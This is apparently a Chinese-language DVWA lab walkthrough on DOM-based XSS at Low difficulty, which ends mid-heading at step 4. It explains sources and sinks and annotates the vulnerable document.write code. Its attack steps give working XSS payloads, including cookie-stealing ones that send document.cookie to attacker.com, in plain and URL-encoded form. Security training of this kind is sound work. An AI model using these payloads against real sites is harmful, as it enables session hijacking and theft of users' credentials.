0%

DVWA - XSS (DOM) 攻防练习详解

目录


漏洞简介

什么是DOM型XSS(DOM-based Cross-Site Scripting)?

DOM型XSS是一种特殊的XSS攻击,攻击代码的执行完全发生在客户端(浏览器),不经过服务器处理。漏洞存在于页面的JavaScript代码中,通过不安全的DOM操作导致恶意脚本执行。

与其他XSS的区别:

特性 反射型XSS 存储型XSS DOM型XSS
数据流向 客户端→服务器→客户端 客户端→服务器→数据库→客户端 客户端→客户端
服务器参与
持久化
检测难度

DOM型XSS的特点:

  • 攻击载荷在URL的Fragment(#后面)中
  • 不会发送到服务器
  • JavaScript直接读取并处理
  • 服务器日志无法记录
  • WAF难以检测

攻击流程:

1
2
3
4
5
1. 用户访问:http://example.com/#<script>alert(1)</script>
2. 浏览器加载页面
3. JavaScript读取location.hash
4. 不安全的DOM操作(如innerHTML)
5. 恶意脚本执行

危害:

  • 窃取Cookie和Session
  • 键盘记录
  • 页面劫持
  • 钓鱼攻击
  • 蠕虫传播

常见的危险Sources(输入源):

  • location.hash
  • location.search
  • location.href
  • document.URL
  • document.referrer
  • window.name

常见的危险Sinks(输出点):

  • innerHTML
  • outerHTML
  • document.write()
  • document.writeln()
  • eval()
  • setTimeout() / setInterval()
  • element.setAttribute()

Low 难度

攻击目标

直接使用document.write()输出用户输入,完全不过滤。

前端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html>
<head>
<title>XSS (DOM)</title>
</head>
<body>

<!-- 选择语言的下拉菜单 -->
<form name="XSS" method="GET">
<select name="default">
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
<input type="submit" value="Select" />
</form>

<script>
// ★★★ 核心漏洞:不安全的DOM操作 ★★★

// 检查URL中是否有default参数
// document.location.href - 获取完整URL
// indexOf() - 查找字符串位置
// 例如:http://example.com/?default=English
if (document.location.href.indexOf("default=") >= 0) {

// ★★★ 危险操作1:从URL中提取参数 ★★★
// document.location.href.substring() - 提取子字符串
// indexOf("default=") + 8 - 从"default="后开始
// 结果:提取default参数的值
//
// 问题:没有任何验证或编码!
// 攻击者可以在URL中注入任意内容
var langDefault = document.location.href.substring(
document.location.href.indexOf("default=") + 8
);

// ★★★ 危险操作2:使用document.write()直接输出 ★★★
// document.write() - 向文档写入内容
// 作用:在页面中动态插入HTML
//
// 问题:
// 1. 不对langDefault进行任何编码
// 2. 如果langDefault包含HTML标签,会被浏览器解析执行
// 3. 如果包含<script>,脚本会立即执行
//
// 例如:
// URL: ?default=<script>alert(1)</script>
// 输出:<option>Welcome to <script>alert(1)</script></option>
// 结果:alert(1)执行
document.write("<option>Welcome to " + langDefault + "</option>");

// ★★★ 另一个危险操作:选中对应的选项 ★★★
// document.forms[0].default.value - 访问表单的default字段
// 这里也没有验证langDefault,可能导致额外问题
document.forms[0].default.value = langDefault;
}
</script>

</body>
</html>

漏洞分析

数据流向:

1
2
3
4
5
6
7
8
9
URL(?default=...)

document.location.href (JavaScript读取)

substring()提取参数值

document.write()直接输出 ← 危险!

浏览器解析并执行

核心问题:

  1. 直接读取URL参数 - 不经过服务器验证
  2. 无任何编码 - 特殊字符不转义
  3. 使用document.write() - 直接写入HTML
  4. Source→Sink直接连接 - 输入源直达输出点

为什么服务器日志看不到?

1
2
3
4
5
6
7
8
攻击URL: http://dvwa.local/?default=<script>alert(1)</script>#fragment

发送到服务器: http://dvwa.local/?default=<script>alert(1)</script>
Fragment部分(#): 不发送到服务器

或者使用Fragment攻击:
http://dvwa.local/#default=<script>alert(1)</script>
发送到服务器: http://dvwa.local/ (只有域名)

攻击步骤

步骤1:基础测试

测试1:正常功能

1
2
URL: ?default=English
结果: <option>Welcome to English</option>

测试2:简单XSS

1
2
URL: ?default=<script>alert('XSS')</script>
结果: 弹出XSS对话框

步骤2:窃取Cookie

1
2
3
4
5
<!-- URL编码前 -->
?default=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

<!-- URL编码后 -->
?default=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E

步骤3:使用图片标签

1
2
3
4
5
<!-- 更隐蔽的方式 -->
?default=<img src=x onerror=alert('XSS')>

<!-- 窃取Cookie -->
?default=<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

步骤4:无